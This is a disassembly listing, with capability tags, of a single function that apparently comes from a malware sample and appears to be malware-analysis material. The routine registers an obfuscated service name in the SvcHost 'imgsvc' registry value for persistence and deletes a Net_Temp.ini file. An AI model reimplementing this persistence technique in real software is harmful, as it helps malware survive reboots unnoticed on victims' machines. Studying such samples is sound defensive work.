Function at 0x1000a740
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x980
mov eax, dword [0x10028ce0]
xor eax, esp
mov dword [esp + 0x97c], eax
push 0x103
lea eax, [esp + 0xad]
push 0
push eax
mov byte [esp + 0xb4], 0
call fcn.10012980
add esp, 0xc
push 0x104
lea ecx, [esp + 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [esp + 0xa8]
mov byte [esp + 0xab], 0
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000a796
mov edx, dword [str.Net_Temp.ini]
mov ecx, dword [0x10021a1c]
mov dword [eax], edx
mov edx, dword [0x10021a20]
mov dword [eax + 4], ecx
mov cl, byte [0x10021a24]
push esi
push edi
mov dword [eax + 8], edx
mov byte [eax + 0xc], cl
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x78]
rep movsd dword es:[edi], dword [esi]
lea edx, [esp + 0xb0]
push edx
lea eax, [esp + 0x7c]
push eax
movsb byte es:[edi], byte [esi]
call fcn.1000a440
push 0x63
lea ecx, [esp + 0x21]
push 0
push ecx
mov byte [esp + 0x28], 0
call fcn.10012980
call fcn.10013457
imul eax, eax, 0x2b67
push eax
lea edx, [esp + 0x2c]
push str.SOFTWARE_d
push edx
call fcn.10012f2c
lea eax, [esp + 0xd0]
push eax
lea ecx, [esp + 0x38]
push ecx
call fcn.1000a4a0
add esp, 0x28
lea edx, [esp + 8]
push edx
push 0xf003f
push 0
lea eax, [esp + 0x20]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000a9d8
push ebp
push 0x7d0
push eax
lea ecx, [esp + 0x1c0]
push ecx
call fcn.10012980
add esp, 0xc
lea edx, [esp + 0x10]
push edx
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x1bc]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x2c], 7
mov dword [esp + 0x28], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000a93c
lea edi, [esp + 0x1b8]
xor ebp, ebp
lea esp, [esp]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000a8b5
sub eax, edx
movzx esi, ax
test si, si
je 0x1000a90e
cmp si, 1
je 0x1000a90e
push str.Rwbgjc__wajeosNij
push edi
call fcn.1002029a
add esp, 8
test eax, eax
je 0x1000a8eb
movzx eax, si
lea edi, [edi + eax + 1]
lea ebp, [eax + ebp + 1]
jmp 0x1000a8b0
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebp
pop edi
pop esi
mov ecx, dword [esp + 0x97c]
xor ecx, esp
call fcn.10012866
add esp, 0x980
ret
mov eax, str.Rwbgjc__wajeosNij
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000a916
sub eax, edx
add ebp, eax
push str.Rwbgjc__wajeosNij
push 0x10021a4c
cmp byte [edi - 1], cl
je 0x1000a931
inc edi
push edi
call fcn.10012f2c
add esp, 0xc
jmp 0x1000a96b
xor eax, eax
mov edi, edi
mov cl, byte [eax + str.Rwbgjc__wajeosNij]
mov byte [esp + eax + 0x1b8], cl
inc eax
test cl, cl
jne 0x1000a940
lea eax, [esp + 0x1b8]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000a960
sub eax, edx
mov ebp, eax
mov edx, dword [esp + 0xc]
push ebp
lea ecx, [esp + 0x1bc]
push ecx
push 7
push 0
push str.imgsvc
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0xb4]
push ecx
call esi
lea edx, [esp + 0xb4]
push edx
lea eax, [esp + 0x1c]
push eax
call fcn.1000a440
lea ecx, [esp + 0xbc]
push ecx
lea edx, [esp + 0x88]
push edx
call fcn.1000a4a0
add esp, 0x10
lea eax, [esp + 0xb4]
push eax
call esi
pop ebp
mov ecx, dword [esp + 0x984]
pop edi
pop esi
xor ecx, esp
call fcn.10012866
add esp, 0x980
ret